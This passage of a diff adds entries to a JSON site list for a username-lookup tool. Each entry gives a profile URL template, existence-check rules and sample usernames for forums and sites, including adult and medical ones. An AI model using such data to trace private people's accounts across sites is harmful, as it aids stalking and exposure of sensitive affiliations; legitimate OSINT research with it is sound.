"usernameClaimed": "darwin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "rezzoclub.ru": { + "engine": "uCoz", + "urlMain": "http://rezzoclub.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7286304 + }, + "ridemonkey.com": { + "engine": "XenForo", + "urlMain": "http://www.ridemonkey.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "ruboard": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 164556, + "urlMain": "https://forum.ruboard.ru", + "url": "https://forum.ruboard.ru/member.php/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "rus-mmm.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://rus-mmm.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "russiinitalia.com": { + "disabled": true, + "engine": "uCoz", + "alexaRank": 6440689, + "urlMain": "http://russiinitalia.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "rybnoe.net": { + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 1139706, + "urlMain": "http://rybnoe.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "salavat.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://salavat.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "salekhardnews.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://salekhardnews.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "samp-rus.com": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 3612318, + "urlMain": "http://samp-rus.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "samp-sektor.ru": { + "engine": "uCoz", + "alexaRank": 2318355, + "urlMain": "http://samp-sektor.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sanatorii": { + "tags": [ + "by", + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 328058, + "urlMain": "http://forum.sanatorii.by", + "url": "http://forum.sanatorii.by/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "pavlovich", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sciax2.it": { + "tags": [ + "forum", + "tr" + ], + "engine": "XenForo", + "alexaRank": 771385, + "urlMain": "https://www.sciax2.it/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "scooterclub.kharkov.ua": { + "engine": "uCoz", + "alexaRank": 8737937, + "urlMain": "http://scooterclub.kharkov.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "scuba": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 5923852, + "urlMain": "http://forum.scuba-divers.ru/", + "usernameClaimed": "bubonic", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "secret.kompas3d.su": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 5554446, + "urlMain": "http://secret.kompas3d.su", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "segmentfault": { + "disabled": true, + "tags": [ + "cn" + ], + "checkType": "message", + "absenceStrs": [ + "message\":\"Not Found\"" + ], + "presenseStrs": [ + "- SegmentFault \u601d\u5426" + ], + "alexaRank": 2697, + "urlMain": "https://segmentfault.com/", + "url": "https://segmentfault.com/u/{username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "shadow-belgorod.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://shadow-belgorod.ucoz.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sibmama": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435" + ], + "alexaRank": 37115, + "urlMain": "https://forum.sibmama.ru/", + "url": "https://forum.sibmama.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "smart-lab.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "404" + ], + "alexaRank": 10244, + "urlMain": "https://smart-lab.ru/", + "url": "https://smart-lab.ru/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "soc-life.com": { + "presenseStrs": [ + "sc-tabs\"><div>\u041b\u043e\u0433\u0438\u043d:" + ], + "engine": "uCoz", + "alexaRank": 8235710, + "urlMain": "http://soc-life.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "socforum.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://socforum.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "social.tchncs.de": { + "tags": [ + "de", + "in" + ], + "checkType": "status_code", + "alexaRank": 489597, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://social.tchncs.de/", + "url": "https://social.tchncs.de/@{username}", + "usernameClaimed": "Milan", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "soft-wm.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://soft-wm.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "soldati-russian.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1104342, + "urlMain": "http://soldati-russian.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "somersoft.com": { + "engine": "XenForo", + "alexaRank": 1840542, + "urlMain": "https://www.somersoft.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "soslujivzi.ru": { + "engine": "uCoz", + "alexaRank": 3140321, + "urlMain": "http://soslujivzi.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sourceruns": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 824338, + "urlMain": "https://forums.sourceruns.org/", + "usernameClaimed": "cubedude", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "southbayriders.com": { + "engine": "XenForo", + "alexaRank": 998998, + "urlMain": "http://www.southbayriders.com/forums/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "sovgavan.ru": { + "engine": "uCoz", + "alexaRank": 7910939, + "urlMain": "http://sovgavan.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ru" + ] + }, + "soylentnews": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The user you requested does not exist, no matter how much you wish this might be the case." + ], + "alexaRank": 1226454, + "urlMain": "https://soylentnews.org", + "url": "https://soylentnews.org/~{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sparkpeople": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "We couldn't find that user", + "Page Not Found" + ], + "alexaRank": 24562, + "urlMain": "https://www.sparkpeople.com", + "url": "https://www.sparkpeople.com/mypage.asp?id={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Orbys": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profile_user_image" + ], + "absenceStrs": [ + "The page you are looking for cannot be found." + ], + "alexaRank": 305135, + "urlMain": "https://orbys.net", + "url": "https://orbys.net/{username}", + "usernameClaimed": "txmustang302", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "spletnik": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 13818, + "urlMain": "https://spletnik.ru/", + "url": "https://spletnik.ru/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sports.ru": { + "tags": [ + "ru", + "sport" + ], + "checkType": "status_code", + "alexaRank": 1451, + "urlMain": "https://www.sports.ru/", + "url": "https://www.sports.ru/profile/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sportsjournalists.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 704882, + "urlMain": "http://sportsjournalists.com/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "stalkerbar.at.ua": { + "engine": "uCoz", + "urlMain": "http://stalkerbar.at.ua", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "studentur.com.ua": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 5842130, + "urlMain": "http://studentur.com.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "svidbook": { + "disabled": true, + "checkType": "status_code", + "alexaRank": 8078109, + "urlMain": "https://www.svidbook.ru/", + "url": "https://www.svidbook.ru/user/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "swedroid.se": { + "tags": [ + "forum", + "se" + ], + "engine": "XenForo", + "alexaRank": 95322, + "urlMain": "http://swedroid.se/forum", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "swiftbook": { + "tags": [ + "forum", + "ru" + ], + "engine": "Discourse", + "alexaRank": 516808, + "urlMain": "https://forum.swiftbook.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "takr-kiev.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://takr-kiev.ucoz.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tarjaturunen.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://tarjaturunen.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tdo888.at.ua": { + "engine": "uCoz", + "urlMain": "http://tdo888.at.ua", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "techspot.com": { + "tags": [ + "forum", + "us" + ], + "errors": { + "You must be logged-in to do that.": "Login required" + }, + "engine": "XenForo", + "alexaRank": 3685, + "urlMain": "http://www.techspot.com/community/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tfw2005.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 107783, + "urlMain": "http://www.tfw2005.com/boards/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "thaicat.ru": { + "engine": "uCoz", + "alexaRank": 2591501, + "urlMain": "http://thaicat.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "the-mainboard.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 1232016, + "urlMain": "http://the-mainboard.com/index.php", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "theburningprocess.com": { + "engine": "XenForo", + "urlMain": "http://www.theburningprocess.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "disabled": true + }, + "theprodigy": { + "disabled": true, + "tags": [ + "forum", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0447\u0435\u0439 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0432\u044b \u043f\u044b\u0442\u0430\u0435\u0442\u0435\u0441\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + ], + "alexaRank": 1785488, + "urlMain": "https://forum.theprodigy.ru/", + "url": "https://forum.theprodigy.ru/index.php?board=13&action=viewprofile&user={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "theturboforums.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 468075, + "urlMain": "https://www.theturboforums.com/forums/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "thewholesaleforums.co.uk": { + "tags": [ + "forum", + "in" + ], + "engine": "XenForo", + "alexaRank": 410075, + "urlMain": "http://www.thewholesaleforums.co.uk/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tigerfan.com": { + "engine": "XenForo", + "alexaRank": 8504929, + "urlMain": "http://www.tigerfan.com/", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "sport" + ] + }, + "tks": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 64123, + "urlMain": "https://forum.tks.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "topcheats.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://topcheats.ucoz.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tracr.co": { + "disabled": true, + "tags": [ + "gaming" + ], + "errors": { + "502 - Bad Gateway": "Site error", + "g-recaptcha": "Captcha detected" + }, + "regexCheck": "^[A-Za-z0-9]{2,32}$", + "checkType": "message", + "absenceStrs": [ + "No search results" + ], + "urlMain": "https://tracr.co/", + "url": "https://tracr.co/users/1/{username}", + "source": "Discord", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "transit-club.com": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1224454, + "urlMain": "http://transit-club.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "uahack.at.ua": { + "engine": "uCoz", + "urlMain": "http://uahack.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "uaodessa.com": { + "engine": "uCoz", + "urlMain": "http://uaodessa.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2222236 + }, + "ucozon.ru": { + "engine": "uCoz", + "alexaRank": 6574568, + "urlMain": "http://ucozon.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "uID.me (by username)": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://uid.me/", + "url": "http://uid.me/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 25111 + }, + "uID.me (by uguid)": { + "tags": [ + "ru" + ], + "type": "uidme_uguid", + "checkType": "status_code", + "alexaRank": 25111, + "urlMain": "https://uid.me/", + "url": "http://uid.me/uguid/{username}", + "usernameClaimed": "1050362129", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "usman48.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1974421, + "urlMain": "http://usman48.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "valinor.com.br": { + "engine": "XenForo", + "alexaRank": 2008219, + "urlMain": "http://www.valinor.com.br/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "vauxhallownersnetwork.co.uk": { + "tags": [ + "forum", + "tr" + ], + "engine": "XenForo", + "alexaRank": 393373, + "urlMain": "http://www.vauxhallownersnetwork.co.uk", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vdv-belarus.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://vdv-belarus.ucoz.com", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "by", + "forum", + "military" + ] + }, + "vegalab": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 99427, + "urlMain": "http://forum.vegalab.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vento-club.com": { + "engine": "uCoz", + "alexaRank": 5497827, + "urlMain": "http://vento-club.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vii.at.ua": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://vii.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vilinburg.net": { + "engine": "uCoz", + "urlMain": "http://vilinburg.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "virtual-auto.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://virtual-auto.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vishivalochka.ru": { + "engine": "uCoz", + "alexaRank": 1294903, + "urlMain": "http://vishivalochka.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vovdm.at.ua": { + "engine": "uCoz", + "urlMain": "http://vovdm.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vse1.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://vse1.ucoz.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "warcraft3ft.clan.su": { + "engine": "uCoz", + "alexaRank": 6475276, + "urlMain": "http://warcraft3ft.clan.su", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "warframe.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://warframe.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "watcheshop": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 9470848, + "urlMain": "http://forum.watcheshop.ru", + "usernameClaimed": "211", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "weaponsas.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://weaponsas.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "websecurity.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://websecurity.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "wowjp.net": { + "disabled": true, + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 504645, + "urlMain": "http://wowjp.net", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "wowpaksi.clan.su": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://wowpaksi.clan.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "writingforums.org": { + "tags": [ + "ca", + "forum" + ], + "engine": "XenForo", + "alexaRank": 197365, + "urlMain": "http://www.writingforums.org/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ww2aircraft.net": { + "engine": "XenForo", + "urlMain": "https://ww2aircraft.net/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 894556, + "tags": [ + "forum" + ] + }, + "x-h2o.com": { + "engine": "XenForo", + "alexaRank": 3352857, + "urlMain": "http://www.x-h2o.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "xHamster": { + "tags": [ + "porn", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "user-info-section" + ], + "absenceStrs": [ + "User not found" + ], + "alexaRank": 136, + "urlMain": "https://xhamster.com", + "url": "https://xhamster.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "xakerminus.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://xakerminus.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "xenforo.com": { + "tags": [ + "forum", + "in", + "jp", + "tr", + "us" + ], + "engine": "XenForo", + "urlMain": "https://xenforo.com/community/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 21438 + }, + "z28.com": { + "engine": "XenForo", + "alexaRank": 4724035, + "urlMain": "https://www.z28.com/", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "zabselo.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://zabselo.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "zid.moy.su": { + "engine": "uCoz", + "alexaRank": 8281383, + "urlMain": "http://zid.moy.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Znanylekarz.pl": { + "checkType": "status_code", + "url": "https://www.znanylekarz.pl/{username}", + "usernameClaimed": "janusz-nowak", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "gomel-dogs.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://gomel-dogs.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "rottweiler.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://rottweiler.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 5993590 + }, + "poteryashka.spb.ru": { + "engine": "uCoz", + "alexaRank": 3058596, + "urlMain": "http://poteryashka.spb.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "lai.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://lai.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zennenhund.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://zennenhund.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "nada25.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://nada25.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ru" + ] + }, + "day-lapku.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://day-lapku.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "legendarus-veo.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://legendarus-veo.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "horek-samara.ru": { + "engine": "uCoz", + "urlMain": "http://horek-samara.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "animal-hope.ru": { + "engine": "uCoz", + "alexaRank": 5801383, + "urlMain": "http://animal-hope.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "staffbull.info": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://staffbull.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 7749226 + }, + "pushok.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://pushok.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "pskovfaunaclub.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pskovfaunaclub.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "valleykrosava.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://valleykrosava.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "alisaclub.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 7659436, + "urlMain": "http://alisaclub.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "vadimbondar.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://vadimbondar.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "alka-mine.at.ua": { + "engine": "uCoz", + "urlMain": "http://alka-mine.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 7178891 + }, + "endoctor.ru": { + "engine": "uCoz", + "alexaRank": 5608512, + "urlMain": "http://endoctor.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "n-ataeva.ru": { + "engine": "uCoz", + "urlMain": "http://n-ataeva.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 7956400 + }, + "oih.at.ua": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 4180623, + "urlMain": "http://oih.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "vadya.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://vadya.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "uroportal.com.ua": { + "engine": "uCoz", + "urlMain": "http://uroportal.com.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "forum.u-hiv.ru": { + "engine": "uCoz", + "urlMain": "http://forum.u-hiv.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 1918759, + "tags": [ + "forum", + "medicine", + "ru" + ] + }, + "stroyneemvmeste.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://stroyneemvmeste.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dr-denisov.ru": { + "engine": "uCoz", + "alexaRank": 2237530, + "urlMain": "http://dr-denisov.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "electronic-cigarette.ru": { + "engine": "uCoz", + "urlMain": "http://electronic-cigarette.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "medkniga.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://medkniga.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "eyorkie.ucoz.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 2416579, + "urlMain": "http://eyorkie.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "pankreatitu.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://pankreatitu.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "sfinx-cats.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 3639009, + "urlMain": "http://sfinx-cats.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "help-baby.org": { + "engine": "uCoz", + "alexaRank": 7465701, + "urlMain": "http://help-baby.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "ugri.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://ugri.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "prenatal-club.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://prenatal-club.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "milnerelena.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://milnerelena.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zebest.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 3534217, + "urlMain": "http://zebest.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "1klas.3dn.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://1klas.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "psy-dv.org": { + "disabled": true, + "engine": "uCoz", + "alexaRank": 7235113, + "urlMain": "http://psy-dv.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "medkarta.at.ua": { + "engine": "uCoz", + "urlMain": "http://medkarta.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "hmkids.ucoz.ru": { + "engine": "uCoz", + "urlMain": 